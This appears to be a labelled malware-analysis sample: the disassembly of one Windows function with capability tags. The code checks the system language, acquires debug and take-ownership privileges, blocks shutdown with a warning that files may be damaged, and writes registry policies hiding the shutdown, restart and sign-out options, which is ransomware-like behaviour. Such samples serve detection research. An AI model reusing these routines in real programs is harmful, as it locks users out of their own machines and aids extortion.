Function at 0x1400082d8
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x140008333
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000870e
xor r8d, r8d
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x14000870e
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000870e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400083a9
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400083a9
lea rdx, [0x1400377c0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.1400241cc
mov rcx, rax
call fcn.140022f08
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.14000593c
lea rcx, str.SeDebugPrivilege
call fcn.14000593c
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x1400080e4]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140008404
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r15
lea r8, [0x14000de50]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
mov qword [0x140054a28], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp - 0x20]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x140008470
lea rcx, [0x140054a50]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x140054a50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x140054b60]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x140054bd0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x140054b88]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000856a
xor edx, edx
lea rcx, [rbp - 0x80]
lea r8d, [rdx + 0x48]
call fcn.14001eb50
lea rax, [0x1400082c8]
xor ecx, ecx
mov qword [rbp - 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x80]
lea rax, str.window
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
movzx edx, ax
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r14, str.value
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
call fcn.140005750
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], r15d
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005750
lea rax, [rbp - 0x30]
lea rsi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov qword [rsp + 0x20], rax
mov rdx, rsi
lea r8, str.MaxConnectionTime
call fcn.140005750
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxDisconnectionTime
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxIdleTime
mov qword [rsp + 0x20], rax
call fcn.140005750
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140007898
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005750
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005750
lea rcx, [0x140054b60]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x140054bd0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x140054b88]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
or esi, 0xffffffff
test rbx, rbx
je 0x1400086f5
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x14000870e
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14001bcd0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret